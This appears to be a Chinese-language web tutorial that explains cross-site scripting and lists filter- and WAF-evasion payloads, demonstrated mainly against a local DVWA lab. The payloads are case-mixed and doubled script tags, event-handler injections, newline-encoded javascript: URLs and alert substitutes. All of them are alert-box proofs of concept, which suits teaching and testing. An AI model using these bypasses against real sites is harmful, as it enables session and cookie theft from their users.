溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

XSS跨站腳本怎么繞過

發(fā)布時間:2021-12-20 09:57:11 來源:億速云 閱讀:183 作者:小新 欄目:安全技術(shù)

這篇文章主要為大家展示了“XSS跨站腳本怎么繞過”,內(nèi)容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領(lǐng)大家一起研究并學(xué)習(xí)一下“XSS跨站腳本怎么繞過”這篇文章吧。

一、XSS(跨站腳本)概述

跨站腳本(Cross-Site Scripting,簡稱為XSS或跨站腳本或跨站腳本攻擊)是一種針對網(wǎng)站應(yīng)用程序的安全漏洞攻擊技術(shù),是代碼注入的一種。它允許惡意用戶將代碼注入網(wǎng)頁,其他用戶在瀏覽網(wǎng)頁時就會受到影響。惡意用戶利用XSS代碼攻擊成功后,可能得到很高的權(quán)限(如執(zhí)行一些操作)、私密網(wǎng)頁內(nèi)容、會話和cookie等各種內(nèi)容。

XSS漏洞一直被評估為web漏洞中危害較大的漏洞,在OWASP TOP10的排名中一直屬于前三的江湖地位。

XSS是一種發(fā)生在前端瀏覽器端的漏洞,所以其危害的對象也是前端用戶。

形成XSS漏洞的主要原因是程序?qū)斎牒洼敵鰶]有做合適的處理,導(dǎo)致“精心構(gòu)造”的字符輸出在前端時被瀏覽器當(dāng)作有效代碼解析執(zhí)行從而產(chǎn)生危害。

因此在XSS漏洞的防范上,一般會采用“對輸入進(jìn)行過濾”和“輸出進(jìn)行轉(zhuǎn)義”的方式進(jìn)行處理:

輸入過濾:對輸入進(jìn)行過濾,不允許可能導(dǎo)致XSS攻擊的字符輸入;

輸出轉(zhuǎn)義:根據(jù)輸出點(diǎn)的位置對輸出到前端的內(nèi)容進(jìn)行適當(dāng)轉(zhuǎn)義;

二、XSS的一些變形

1、大小寫和雙寫繞過

<sCRIpt>aLert(1)</sCRIPT>

<scscriptript>alert(1)</scscriptript>

2、a標(biāo)簽

<a href=”javascript:onclick=alert(1)”>test</a>

<a href=javascript:alert(1)>test</a>

3、src屬性

<img src=x onerror=alert(1)>

<img/src=x onerror=alert(1)>

<video src=x onerror=alert(1)>

<audio src=x onerror=alert(1)>

<iframe src=”javascript:alert(1)”>

4、利用事件繞過

<svg onload=alert(1)><body onload=alert(1)>

<select autofogus onfocus=alert(1)>

<textarea autofocus onfocus=alert(1)>

<video><source onerror="javascript:alert(1)">

<iframe onload=alert(1)>

三、XSS繞過的示例

1、script、on等被處理(字符被轉(zhuǎn)化為空時可嘗試雙寫);

輸入script、on等關(guān)鍵字,f12發(fā)現(xiàn)都被處理了;

XSS跨站腳本怎么繞過

通過嘗試發(fā)現(xiàn)javascript沒有被處理;

XSS跨站腳本怎么繞過

構(gòu)建payload:"><a href=javascript:alert(1)>即可繞過;

XSS跨站腳本怎么繞過

2、過濾嚴(yán)格時,javascript也會被過濾;

輸入script、on、javascript等關(guān)鍵字,抓包發(fā)現(xiàn)都被處理了;

XSS跨站腳本怎么繞過

構(gòu)建payload:javascr%0aipt:alert(1);(在url中輸入,或者抓包修改也可)這里用%0a或者%0D達(dá)到換行的效果,以此來繞過;

XSS跨站腳本怎么繞過

3、如何繞過alert關(guān)鍵詞

輸入alert后被waf檢測到,并且無法繞過;

XSS跨站腳本怎么繞過

更換函數(shù),構(gòu)建payload:<script>confirm(/xss/)</script>;(除了confirm還可以使用prompt代替alert)即可繞過;

XSS跨站腳本怎么繞過

4、白名單繞過

在dvwa靶場中,關(guān)于xssdom型high難度就是關(guān)于白名單繞多;無論輸入什么關(guān)鍵詞都會被重定向;

XSS跨站腳本怎么繞過

XSS跨站腳本怎么繞過

我們可以在English后面加一個#,然后在打入語句即可繞過,(#與前面的內(nèi)容要加一個空格);

payload:http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English #<script>alert(1)</script>;

XSS跨站腳本怎么繞過

以上是“XSS跨站腳本怎么繞過”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學(xué)習(xí)更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

xss
AI